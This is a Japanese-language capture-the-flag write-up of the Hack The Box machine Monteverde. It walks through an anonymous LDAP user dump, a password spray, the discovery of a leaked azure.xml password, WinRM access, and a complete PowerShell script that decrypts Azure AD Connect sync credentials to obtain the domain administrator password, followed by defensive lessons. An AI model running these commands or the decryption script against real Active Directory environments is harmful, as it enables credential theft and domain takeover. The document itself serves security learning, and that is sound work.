Hack The BoxのWriteup(Monteverde)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Monteverde — 全実行コマンド・実行結果レポート
Nmap スキャン
DC(53/88/389/445/3268/5985)
LDAP匿名バインド
ドメインユーザー列挙
SMBパスワードスプレー
アカウントロックアウト無効
SABatchJobs:SABatchJobs
users$共有 azure.xml漏洩
Azure AD同期パスワード
mhope WinRMログイン
user.txt ✓
ADSync DB (sqlcmd)
instance_id/keyset_id/entropy
mcrypt.dll KeyManager
AD Connect Sync資格情報復号
root.txt ✓

Nmap ポートスキャン

BASH
nmap -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,3389,1433 10.129.55.243
RESULT
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
Service Info: Host: MONTEVERDE; OS: Windows
ℹ️
ドメインコントローラ MONTEVERDE.MEGABANK.LOCAL。WinRM(5985)が開いているため 認証情報さえ入手できればシェルを取れる見込みが立つ。
PHASE 2

LDAP匿名バインドでのユーザー列挙とパスワードスプレー

LDAP匿名バインドでドメインユーザーを列挙

BASH
ldapsearch -x -H ldap://10.129.55.243 -b "DC=megabank,DC=local" \
  "(&(objectClass=user)(objectCategory=person))" sAMAccountName
RESULT
sAMAccountName: mhope
sAMAccountName: SABatchJobs
sAMAccountName: svc-ata
sAMAccountName: svc-bexec
sAMAccountName: svc-netapp
sAMAccountName: dgalanos
sAMAccountName: roleary
sAMAccountName: smorgan
ℹ️
認証情報なしでドメイン内の全ユーザー名を列挙できる。SABatchJobsのような いかにも「サービスアカウント」を思わせる命名パターンに注目する。

アカウントロックアウトが無効なことを確認

BASH
enum4linux -a 10.129.55.243 | grep -i lockout
RESULT
[+] Minimum password length: 7
[+] Account Lockout Threshold: None
🚨
アカウントロックアウトが無効(閾値なし)であるため、失敗回数を気にせず パスワードスプレー攻撃(1ユーザーずつ複数パスワードを試すのではなく、 少数の弱いパスワード候補を全ユーザーに対して横断的に試す手法)が安全に実行できる。

パスワードスプレー — ユーザー名慣行を悪用

NOTE
「ユーザー名自体をパスワードとして設定してしまう」という運用上よくあるミスを
狙い、統計的な弱いパスワード候補集合に加えて、列挙した各ユーザー名自身も
パスワード候補として試行する(username-as-password攻撃)。
BASH
netexec smb 10.129.55.243 -d megabank \
  -u users.txt -p passwords.txt
RESULT
SMB   10.129.55.243   445   MONTEVERDE   [+] megabank\SABatchJobs:SABatchJobs
認証情報取得: SABatchJobs : SABatchJobs(ユーザー名とパスワードが同一)
PHASE 3

users$共有のazure.xml漏洩 → Azure AD同期パスワード → user.txt

smbmapでworld-readableなusers$共有を再帰検索

BASH
smbmap -u SABatchJobs -p SABatchJobs -d megabank -H 10.129.55.243 \
  -A '(xlsx|docx|txt|xml)' -r --depth 5
⚠️
ハマりどころ: smbmapのパターン一致自動ダウンロード機能 -A PATTERN-r(再帰リスト)の同時指定が必須-Rという似た大文字オプションは実際には存在せず unrecognized arguments: -R で即座にエラー終了してしまう。 また既定の探索深さ(--depth)は1(共有ルートのみ)なので、 users$\<ユーザー名>\azure.xml のようなサブディレクトリ配下の ファイルを見つけるには --depth を明示的に増やす必要がある。
RESULT
[*] Performing file name pattern match!
[+] Match found! Downloading: users$/mhope/azure.xml
[+] Starting download: users$\mhope\azure.xml (1212 bytes)
[+] File output to: ./10.129.55.243-users_mhope_azure.xml

azure.xml から平文パスワードを抽出

BASH
cat 10.129.55.243-users_mhope_azure.xml
RESULT
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
...
<S N="Password">4n0therD4y@n0th3r$</S>
🚨
認証情報取得: mhope : 4n0therD4y@n0th3r$。 この azure.xml は Azure AD (Entra ID) との同期用に PowerShell で New-ADServiceAccount 等を実行した際のスクリプト出力/バックアップが 誤ってワールド読み取り可能な共有に残されたもの。ファイル名から想像できる通り、 Azure AD Connect のセットアップ作業中の副産物と見られる。

WinRMログイン & user.txt 取得

BASH
evil-winrm -i 10.129.55.243 -u 'mhope' -p '4n0therD4y@n0th3r$'
RESULT
*Evil-WinRM* PS C:\Users\mhope\Documents> type C:\Users\mhope\Desktop\user.txt
6cc8362c8c6039840e06f5e81896c894
ℹ️
mhope がドメインの Remote Management Users グループに 所属しているため(=azure.xmlのパスワードがそのままWindowsログインパスワードとして 再利用されている)、WinRM経由でそのままシェルを得られる。
user.txt — mhope@MONTEVERDE
6cc8362c8c6039840e06f5e81896c894
PHASE 4

権限昇格の下調べ — Azure AD Connect (ADSync DB) の調査

ローカルSQL Serverの発見とADSyncデータベースの確認

NOTE
このDCには本来推奨されないカスタムインストールとして、フルSQL Server上で
Azure AD Connect (旧称 DirSync/AAD Sync) が稼働している。Azure AD Connectは
オンプレADとAzure AD (Entra ID) のディレクトリ同期を担うコンポーネントで、
同期処理に使う特権アカウント(既定では"ADSync"サービスアカウント、しばしば
ドメイン管理者相当かそれに準ずる強い権限を持つ)の認証情報を、自身の設定
データベース(既定インスタンス名"ADSync")内に暗号化した状態で保持している。
BASH
*Evil-WinRM* PS> sqlcmd -S MONTEVERDE -Q "use ADSync; select instance_id,keyset_id,entropy from mms_server_configuration"
RESULT
Changed database context to 'ADSync'.
instance_id                          keyset_id   entropy
------------------------------------ ----------- ------------------------------------
1852B527-DD4F-4ECF-B541-EFCCBFF29E31           1 194EC2FC-F186-46CF-B44D-071EB61F49CD
ℹ️
Azure AD Connect は同期資格情報の暗号化に Windows の DPAPI (Data Protection API) + カスタムキーマネージャーを使っており、mms_server_configuration テーブルの instance_id/keyset_id/entropy の3値が、 後述する復号処理に必要な鍵導出パラメータとなる。
PHASE 5

mcrypt.dll の KeyManager を使った AD Connect Sync 資格情報の復号

公知の抽出手法(@_xpn_ 氏の手法)を活用

NOTE
Azure AD Connectが同期用アカウント(既定でドメイン管理者権限相当)の資格情報を
どう保護しているかはセキュリティリサーチャー@_xpn_によって詳細に解析されている。
要点は次の通り:

1. Azure AD Connectのインストールディレクトリに存在する
   "Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager"
   クラス(mcrypt.dll内)が、DBに保存されたentropy/instance_idからDPAPIの
   鍵セットを復元できる。
2. ADSync DBの mms_management_agent テーブルの private_configuration_xml /
   encrypted_configuration カラム(WHERE ma_type = 'AD' の行)に、
   オンプレADへの書き込みに使う特権アカウントの暗号化済み資格情報が
   XML形式で格納されている。
3. KeyManagerでロードした鍵を使い、この暗号文をBase64デコード→復号すると、
   ドメイン/ユーザー名/パスワードが平文のXMLとして得られる。

この処理はPowerShellから.NETアセンブリを直接ロードして実行できる
(GetADConnectPasswordというワンライナー関数として広く公開されている手法)。

PowerShellスクリプトを実行(EncodedCommandで送信)

PYTHON (PowerShellスクリプト概要)
Function Get-ADConnectPassword{
    $key_id = 1
    $instance_id = [GUID]"1852B527-DD4F-4ECF-B541-EFCCBFF29E31"
    $entropy = [GUID]"194EC2FC-F186-46CF-B44D-071EB61F49CD"

    $client = new-object System.Data.SqlClient.SqlConnection `
        -ArgumentList "Server=MONTEVERDE;Database=ADSync;Trusted_Connection=true"
    $client.Open()
    $cmd = $client.CreateCommand()
    $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration " +
        "FROM mms_management_agent WHERE ma_type = 'AD'"
    $reader = $cmd.ExecuteReader()
    $reader.Read() | Out-Null
    $config    = $reader.GetString(0)
    $crypted   = $reader.GetString(1)
    $reader.Close()

    add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
    $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
    $km.LoadKeySet($entropy, $instance_id, $key_id)
    $key = $null
    $km.GetActiveCredentialKey([ref]$key)
    $key2 = $null
    $km.GetKey(1, [ref]$key2)
    $decrypted = $null
    $key2.DecryptBase64ToString($crypted, [ref]$decrypted)

    $domain   = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" |
                select @{Name='Domain'; Expression={$_.node.InnerXML}}
    $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" |
                select @{Name='Username'; Expression={$_.node.InnerXML}}
    $password = select-xml -Content $decrypted -XPath "//attribute" |
                select @{Name='Password'; Expression={$_.node.InnerXML}}

    Write-Host ("Domain: "   + $domain.Domain)
    Write-Host ("Username: " + $username.Username)
    Write-Host ("Password: " + $password.Password)
}
Get-ADConnectPassword
⚠️
ハマりどころ: このスクリプトは波括弧 {}$ を大量に含むため、リモート実行フレームワーク(netexec等)経由で 文字列としてそのまま渡すと、シェルのクォート解釈やPowerShellの構文解析で 文字化け・エラーになりやすい。str.format()のようなテンプレート 置換関数を使うとPowerShell側の波括弧と衝突するため、プレースホルダの置換は 単純なstr.replace()で行うのが安全。最終的には UTF-16LEでエンコードしbase64化したものを powershell -EncodedCommand で渡す方式にすると、 あらゆるクォート・エスケープ問題を一括で回避できる。
BASH
# PowerShellスクリプトをUTF-16LE base64エンコードして送信
netexec winrm 10.129.55.243 -u mhope -p '4n0therD4y@n0th3r$' \
  -X powershell -NoProfile -EncodedCommand <base64エンコード済みスクリプト>
RESULT
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!
ドメイン管理者の平文パスワードを取得: administrator : d0m@in4dminyeah!
PHASE 6

Administratorとしてログイン → root.txt

root.txt 取得

BASH
evil-winrm -i 10.129.55.243 -u 'administrator' -p 'd0m@in4dminyeah!'
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
RESULT
aa8e096045e8631e7e43ecd35499a89b
root.txt — Administrator@MONTEVERDE
aa8e096045e8631e7e43ecd35499a89b
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — mhope@MONTEVERDE
6cc8362c8c6039840e06f5e81896c894
root.txt — Administrator@MONTEVERDE
aa8e096045e8631e7e43ecd35499a89b

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
LDAP匿名バインド Active Directory (:389) ドメインユーザー一覧の列挙 High 認証なしで全ユーザーのsAMAccountNameを列挙
アカウントロックアウト無効 + ユーザー名=パスワード運用 SABatchJobsサービスアカウント パスワードスプレーによる初期アクセス Critical ロックアウトを気にせず全ユーザーに対しユーザー名をパスワードとして一斉試行
World-readable共有への平文資格情報の残置 users$\mhope\azure.xml Windowsログインパスワードの漏洩(パスワード再利用) High Azure AD Connectセットアップの副産物ファイルをsmbmapで検索・回収
Azure AD Connect Sync資格情報の復号 ADSync DB (mms_management_agent) + mcrypt.dll ドメイン管理者権限相当の平文パスワード取得 Critical 公知のKeyManager復号手法をPowerShellで実行し、AD書き込み用特権アカウントのパスワードを復号

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmapADドメインコントローラ(MONTEVERDE, megabank.local)判明
2LDAP列挙+スプレーldapsearch匿名バインド + netexec smbスプレーSABatchJobs:SABatchJobs
3azure.xml漏洩smbmap再帰検索+パターンダウンロードuser.txt 取得 (mhope:4n0therD4y@n0th3r$)
4ADSync DB調査sqlcmd (instance_id/keyset_id/entropy取得)復号に必要な鍵導出パラメータ
5資格情報復号mcrypt.dll KeyManager (PowerShell EncodedCommand)administrator:d0m@in4dminyeah!
6管理者ログインevil-winrmroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
LDAP匿名バインドが有効で、認証なしにドメインユーザーが列挙できる LDAP匿名バインドを無効化する。列挙自体を防げなくても、次段の攻撃の足がかりを1つ潰せる。
アカウントロックアウトポリシーが無効で、かつユーザー名をそのままパスワードに設定している 合理的なロックアウト閾値を設定し、パスワードポリシーでユーザー名との一致を禁止する。サービスアカウントには長く複雑なランダムパスワードを使う。
Azure AD Connectのセットアップ時に生成された資格情報ファイルが、全ユーザー読み取り可能な共有ドライブに残されている セットアップ用の一時ファイル・スクリプト出力は作業完了後に必ず削除する。共有ドライブのアクセス権を最小権限で構成し、定期的な監査を行う。
Azure AD Connectがドメイン管理者相当の強力な権限を持つアカウントで同期を行っており、そのDCがフルSQL Serverと同居している(推奨構成外) Azure AD Connectには最小権限の委任モデル(ADSyncのパーミッション委任スクリプト等)を使う。SQL Server ExpressのようなDC上での稼働を避け、専用サーバーに分離する。同期アカウントの資格情報を扱うDLL/DBへのアクセスを厳格に制限する。
HackTheBox: Monteverde | 完全攻略レポート